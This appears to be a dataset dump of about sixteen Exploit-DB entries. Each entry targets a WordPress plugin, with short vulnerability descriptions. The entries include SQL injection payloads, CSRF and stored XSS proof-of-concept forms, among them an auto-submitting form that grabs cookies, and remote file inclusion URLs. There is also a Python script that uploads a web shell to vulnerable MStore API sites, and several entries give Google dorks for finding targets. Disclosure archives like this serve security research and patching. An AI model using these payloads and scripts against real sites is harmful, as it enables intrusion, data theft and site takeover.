deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19572
Description: WordPress Plugin MoodThingy Widget 0.8.7 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-07-04
Author: Chris Kellum

Exploit:
# Exploit Title: WordPress MoodThingy Mood Rating Widget v0.8.7 Blind SQL Injection
# Date: 7/2/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://www.moodthingy.com/
# Software Link: http://downloads.wordpress.org/plugin/moodthingy-mood-rating-widget.0.8.7.zip
# Version: 0.8.7



=====================
Vulnerability Details
=====================

Input data from the form submission is not properly sanitized.

Using blind SQL injection techniques, true statements will result in the rating being updated, while false statements will cause the plugin to hang.

=================
Injection Example
=================

Using Burp Suite or other proxy, intercept the post request when submitting the form and append and 1=1 to the postID parameter before forwarding.

True statement example:

action=cast_vote&token=d9ad983425&moodthingyvote=6&postID=6 and 1=1&results_div_id=voteresults

In the example above, the request will process successfully and the rating will be updated accordingly.

By replacing 1=1 with 1=0, the plugin will hang and the process will never successfully complete, giving you the necessary true/false conditions for blind sql injections.
Exploit-DB #39507
Description: WordPress Plugin More Fields 2.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-02-29
Author: Aatif Shahdad

Exploit:
# Exploit Title: Wordpress More Fields Plugin 2.1 Cross-Site Request Forgery 
# Date: 28-02-2016
# Software Link: https://wordpress.org/support/plugin/more-fields
# Exploit Author: Aatif Shahdad
# Twitter: https://twitter.com/[PII_REDACTED]5f736
# Contact: aatif_shahdad@icloud.com
# Category: webapps
 
1. Description
   
The plugin More Fields has CSRF token validation disabled for all functions, including the add box and delete box options. As a result, a specially crafted attacker page could cause
a logged-in administrator to add and delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.
   
2. Proof of Concept
 
Login as admin to the wp-admin area at http://example.com/wp-admin. Open the following Proof-Of-Concept with the browser that you used to log in.

POC to add box named ‘test’:

--POC begins--
Add Boxes:

<html>
  <body>
    <form action="https://example.com/wp­admin/options­general.php?page=more-
fields&action=save&keys=_plugin%2C57UPhPh&navigation=boxes" method="POST">
      <input type="hidden" name="label" value="test" />
      <input type="hidden" name="post&#95;types&#91;&#93;" value="press" />
      <input type="hidden" name="position" value="left" />
      <input type="hidden" name="fields" value="" />
      <input type="hidden" name="ancestor&#95;key" value="" />
      <input type="hidden" name="originating&#95;keys" value="&#95;plugin&#44;57UPhPh" />
      <input type="hidden" name="action" value="save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Remove Boxes needs the following simple GET request (Assuming the name of the Box we want to delete is ‘test’):

<html>
  <body>
    <form action="https://example.com/wp­admin/options­general.php">
      <input type="hidden" name="page" value="more&#45;fields" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="action&#95;keys" value="&#95;plugin&#44;test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Note: I have removed the CSRF tokens from the requests as they are redundant and not validated.

--End of POC--


3. Impact

The attacker can add/delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.

4. Solution:
   
Add in CSRF token validation to the plugin or switch to a different plugin. The development of the Plugin has ceased so this happens to be the latest version which can’t be upgraded as of now.
Exploit-DB #50685
Description: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2022-01-27
Author: Ceylan BOZOĞULLARINDAN

Exploit:
# Exploit Title: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 25-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: https://lenderd.com/
# Software Link: https://mortgagecalculatorsplugin.com/
# Version: 1.52
# Tested on: Linux
# CVE : CVE-2021-24904 (https://wpscan.com/vulnerability/7b80f89b-e724-41c5-aa03-21d1eef50f21)


# Description:
The plugin gives users real-time estimates by providing mortgage calculators. It does not implement any sanitisation on the color value of the background of a calculator in admin panel, which could lead to authenticated Stored Cross-Site Scripting issues. An attacker can execute malicious javascript codes for all visitors of a page containing the calculator.


# Steps To Reproduce:
1. Go to settings page available under the "Calculator" menu item.
2. Click the "Select Color" button and type the following payload the input space: `hacked</style></head><script>alert(1)</script>`
3. Click the "Save Changes" button to save settings.
4. Create a new page and add the shortcode ([mcwp type="cv"]) of the calculator, for testing.
5. Visit the page to trigger XSS.
Exploit-DB #50869
Description: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - SQL Injection
Type: webapps
Platform: php
Date: 2022-04-19
Author: Mohsen Dehghani

Exploit:
# Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - SQL Injection
# Date: 2022-04-11
# Exploit Author: Mohsen Dehghani (aka 0xProfessional)
# Vendor Homepage: https://motopress.com/
# Software Link: https://downloads.wordpress.org/plugin/motopress-hotel-booking-lite.4.2.4.zip
# Version: 4.2.4
# Tested on: Windows/XAMPP
###########################################################################
PoC:

Vulnerable File:sync-urls-repository.php

    public function insertUrls($roomId, $urls)
    {
        global $wpdb;

        if (empty($urls)) {
            return;
        }

        $urls = $this->prepareUrls($urls);
        $values = array();

        foreach ($urls as $syncId => $url) {
            $values[] = $wpdb->prepare("(%d, %s, %s)", $roomId, $syncId, $url);
        }

        $sql = "INSERT INTO {$this->tableName} (room_id, sync_id, calendar_url)"
            . " VALUES " . implode(', ', $values);

        $wpdb->query($sql);

Vulnerable Parameter:
room_id=SQL Injection
sync_id=SQL Injection
Exploit-DB #50951
Description: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-06-10
Author: Sanjay Singh

Exploit:
# Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)
# Date: 2022-06-05
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://motopress.com/
# Software Link: https://downloads.wordpress.org/plugin/motopress-hotel-booking-lite.4.2.4.zip
# Version: 4.2.4
# Tested on: Windows/XAMPP
###########################################################################
PoC:

1. http://localhost/wp-admin/edit.php?post_type=mphb_room_type
2. Click on "Add Accommodation Type".
3. Add title payload= "><script>alert("XSS")</script>
4. Excerpt input payload "><script>alert("XSS")</script>
5. Click publish.
6. Visit http://localhost/accommodations/
7. XSS payload execute.
Exploit-DB #50379
Description: Wordpress Plugin MStore API 2.0.6 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-10-05
Author: spacehen

Exploit:
# Exploit Title: Wordpress Plugin MStore API 2.0.6 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/mstore-api/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/mstore-api/
# Version: 2.0.6, possibly higher
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("MStore API < 2.0.6 - Arbitrary File Upload")
	print("Author -> space_hen (www.github.com/spacehen)")
	
def print_usage():
	print("Usage: python3 exploit.py [target url] [shell path]")
	print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
	response = requests.post(uri)
	raw = response.text

	if ("Key must be" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	rest_url = '/wp-json/api/flutter_woo/config_file'

	uri = base + rest_url;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'file' : ( "config.json.php", open(file_path), "application/json" )}

	print("Uploading shell...");
	response = requests.post(uri, files=files )
	# response should be location of file
	print(response.text)

main();
Exploit-DB #38755
Description: WordPress Plugin mukioplayer4wp - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2013-09-13
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/62438/info

mukioplayer4wp for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

mukioplayer4wp 1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/videos/wp-content/plugins/mukioplayer-for-wordpress/php-scripts/get.php?cid=71866877%27
Exploit-DB #48532
Description: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
Type: webapps
Platform: php
Date: 2020-05-29
Author: UnD3sc0n0c1d0

Exploit:
# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
# Google Dork: N/A
# Date: 2020-05-21
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip
# Category: Web Application
# Version: 1.0.0
# Tested on: CentOS 7 / WordPress 5.4.1
# CVE : N/A

# 1. Technical Description:
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability 
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.
  
# 2. Proof of Concept (PoC):
<html>
<form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional">
<input type="hidden" value="[ID]" name="pro_delete_id"><br>
<input type="hidden" value="Delete" name="professional_delete">
<input type="submit" value="Delete user">
</form>
</html>
Exploit-DB #40908
Description: WordPress Plugin Multisite Post Duplicator 0.9.5.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-12-12
Author: dxw

Exploit:
<!--
Details
================
Software: Multisite Post Duplicator
Version: 0.9.5.1
Homepage: http://wordpress.org/plugins/multisite-post-duplicator/
Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do

Vulnerability
================
Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another.
This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do).
This could also be used to view content not meant to be published.

Proof of concept
================
Some of these values may need adjusting depending on the post IDs, blog IDs, etc.
-->

<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\">
  <input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
  <input type=\"text\" name=\"mdp-prefix\" value=\"<script>alert(1)</script>\">
  <input type=\"text\" name=\"action\" value=\"add_foobar\">
  <input type=\"text\" name=\"el0\" value=\"post\">
  <input type=\"text\" name=\"el1\" value=\"1\">
  <input type=\"text\" name=\"el2\" value=\"1\">
  <input type=\"text\" name=\"el3\" value=\"1\">
  <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
  <input type=\"submit\">
</form>

<!--
Mitigations
================
Update to version 1.1.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-11-01: Discovered
2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described
2016-12-09: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->
Exploit-DB #38648
Description: WordPress Plugin My Calendar 2.4.10 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-11-06
Author: Mysticism

Exploit:
Exploit TItle: My Calendar 2.4.10 CSRF and XSS
Exploit Author : Mysticism (Ahn Sung Jun)
Date : 2015-11-06
Vendor Homepage : http://wordpress.org/plugins/my-calendar
Software Link : https://downloads.wordpress.org/plugin/my-calendar.2.4.10.zip
Version : 2.4.10
Tested On : kail linux Iceweasel


===================
Vulnerable Code : my-calendar-categoris.php
if ( isset( $_POST['mode'] ) && $_POST['mode'] == 'add' ) {
			$term = wp_insert_term( $_POST['category_name'], 'mc-event-category' );
			if ( ! is_wp_error( $term ) ) {
				$term = $term['term_id'];
			} else {
				$term = false;
			}
			$add = array(
				'category_name'    => $_POST['category_name'],
				'category_color'   => $_POST['category_color'],
				'category_icon'    => $_POST['category_icon'],
				'category_private' => ( ( isset( $_POST['category_private'] ) ) ? 1 : 0 ),
				'category_term'    => $term
			);
		}


POC (CSRF & XSS)

<html>
	<body onload="javascript:document.forms[0].submit()">
	<form id="my-calendar" method="post" action="http://192.168.0.2/wordpress/wp-admin/admin.php?page=my-calendar-categories">
		<input type="hidden" name="_wpnonce" value="35ed9ab206"/>
		<input type="hidden" name="mode" value="add"/>
		<input type="hidden" name="category_id" value="4"/>
		<input name="category_name"  id="cat_name" type="hidden" class="input" size="30" value="<script>alert(document.cookie)</script>">
		<input type="hidden" id="cat_color" name="category_color" class="mc-color-input" size="10" maxlength="7" value=""/>
		<input type="hidden" value="on" name="category_private" id="cat_private" />
		<input type="hidden" value="on" name="mc_default_category" id="mc_default_category" />
		<input type="hidden" value="on" name="mc_skip_holidays_category" id="mc_shc" /> 
		<input type="submit" name="save" class="button-primary" value="Add Category &raquo;"/>
	</form>	
</html>


Discovered By
Mysticism(Ahn Sung Jun)
Exploit-DB #9150
Description: WordPress Plugin My Category Order 2.8 - SQL Injection
Type: webapps
Platform: php
Date: 2009-07-15
Author: Manh Luat

Exploit:
###############################
# Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability
# Download: http://wordpress.org/extend/plugins/my-category-order/
# No Dork
# Author: ManhLuat93 [at] hcegroup[dot]net
###############################

Errors appears only when you have admin control

Open mycategoryorder.php (Line 47-48):
if (isset($_GET['parentID']))
$parentID = $_GET['parentID'];

Fix:
if (isset($_GET['parentID']))
$parentID = intval($_GET['parentID']);


[+] Exploit [+]


http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1

MySQL Query Error:

WordPress database error:

 [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1]
SELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC



[+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1

[+] What do you see ?

# milw0rm.com [2009-07-15]
Exploit-DB #3828
Description: WordPress Plugin myflash 1.00 - 'wppath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-01
Author: Crackers_Child

Exploit:
--------------------------------- [ Oyle Kahpe Ki DÃ¼nya ! ] --------------------------------------

Title : Wordpress plugin myflash <= V1.00  (wppath) RFI Vulnerability

--------------------------------------------------------------------------------
#Author: Crackers_Child


#cont@ct: cybermilitan@hotmail.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application :  Wordpress plugin

Web Site    :  http://alexrabe.boelinger.com/

--------------------------------------------------------------------------------
Vuln Ä°n  myflash-button.php

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');

global $wpdb;
--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/wp-content/plugins/myflash/myflash-button.php?wpPATH=Shl3?

--------------------------------------------------------------------------------

greets:

Every Body

--------------------------------------------------------------------------------



--------------------------------- [http://www.biyosecurity.net ] --------------------------------------

# milw0rm.com [2007-05-01]
Exploit-DB #3814
Description: WordPress Plugin mygallery 1.4b4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-29
Author: GoLd_M

Exploit:
AAAAAAAAA AAAAAAAA  AAA   AAA    AAA      AAAAAAAA   
AAAAAAAAA AAAAAAAAA AAA   AAA   AAAAA    AAAAAAAAAA  
   AAA    AAA   AAA  AAA AAA   AAAAAAA  AAA       
   AAA    AAAAAAAAA   AAAAA   AAA   AAA AAA     AAAAA
   AAA    AAAAAAAA     AAA    AAA   AAA AAA     AAAAA
   AAA    AAA AAA      AAA    AAAAAAAAA AAA      AAA  
   AAA    AAA  AAA     AAA    AAA   AAA  AAAAAAAAAA    
   AAA    AAA   AAA    AAA    AAA   AAA   AAAAAAAA     


# myGallery 1.2.1(myPath)Remote File Include Vulnerablity
# Script Paeg : http://www.wildbits.de/usr_files/mygallery_1.2.1.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code 
#########################################################
# if (!$_POST){
# 	$mypath=$_GET['myPath']; <---------[+]
# 
# }
# else {
# 	$mypath=$_POST['myPath'];<---------[+]
# 	
# 	
# }
# require_once($mypath.'/wp-config.php');<---------[+]
########################################################
# Dork : 
# inurl:/mygallery/myfunctions/ (OR) Index of /mygallery/myfunctions (OR) inurl:mygallerytmpl.php
# Ex:
# [Path_myGallery]/mygallery/myfunctions/mygallerybrowser.php?myPath=Shell
# Sp.Thanx = Tryag-Team

# milw0rm.com [2007-04-29]
Exploit-DB #14441
Description: WordPress Plugin myLDlinker - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-22
Author: H-SK33PY

Exploit:
  [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0101010    
   0                                                       0
   1  Iranian Datacoders Security Team 2010
   0                                                       0
  [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0101010


# Exploit Title: Word Press SQL Injection ( in myLDlinker.php Plugin )                   
# Date: 23/07/2010                             
# Author: H-SK33PY                      
# Software Link: http://www.wordpress.com/
# Version: 2.9.2
# Google dork :inurl:"myLDlinker.php"
# Platform / Tested on: linux
# Category: Expliot code
# Code : [SQLi]

#BUG:#########################################################################

After find plugin at sites run SQL Inject :


example : http://site.com/myLDlinker.php?url=18[SQLi]


#############################################################################
Website : http://www.datacoders.ir

Special Thanks to : ccC0d3rZzz & AGT & all iranian datacoders members

#############################################################################
Exploit-DB #17740
Description: WordPress Plugin mySTAT 2.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-28
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mystat.2.6.zip
# Version: 2.6 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(isset($_GET['act'])){
    ...
    if ($_GET['act'] == 'stat_img') {
        myStat_stat_image();
        exit();
    };
};

function myStat_stat_image(){
    ...
    if(substr($_GET['d1'],0,10)!=substr($_GET['d2'],0,10)){
        $var=$cmn->getSQL("SELECT DATE_FORMAT(date,'%d-%m-%y'),count(*),sum(count),TO_DAYS(date) FROM `%%PREFIX%%myStat_main` WHERE date > ('".$_GET['d1']."') AND date < ('".$_GET['d2']."') GROUP BY TO_DAYS(date) ORDER BY date DESC LIMIT 0,30;");
Exploit-DB #20416
Description: WordPress Plugin Mz-jajak 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-10
Author: StRoNiX

Exploit:
# Exploit Title: WordPress Mz-jajak plugin <= 2.1 SQL Injection Vulnerability
# Date: 2012-08-10
# Author: StRoNiX
# E-mail: hacker@hotmail.rs
# Software Link: http://downloads.wordpress.org/plugin/mz-jajak.zip
# Version: 2.1 (tested)


---------------
PoC (POST data)
---------------
POST /index.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/?page_id=9
Connection: Keep-Alive
Content-Length: 111
Content-Type: application/x-www-form-urlencoded

answer=1&formvote=Y&id=1 AND 1=0 UNION ALL SELECT 1,2,version(),user(),5,6,7,8,9,10,11,12,13,14,15--+&x=10&y=12


---------------
Vulnerable code
---------------
$id=$_POST['id'];    
...
$query = $wpdb->query("UPDATE " . $table_name . " SET ".$answert."=".$answert."+1 WHERE id=".$id);
                }
                $rows = $wpdb->get_results("SELECT * FROM " . $table_name . " WHERE id=".$id);



###########################################################
Greetz: T0r3x, m1l05, JuMp-Er, EsC, UNICORN, Xermes, s4r4d0

----------------------------snip--------------------------------------

Thanks,
~StRoNiX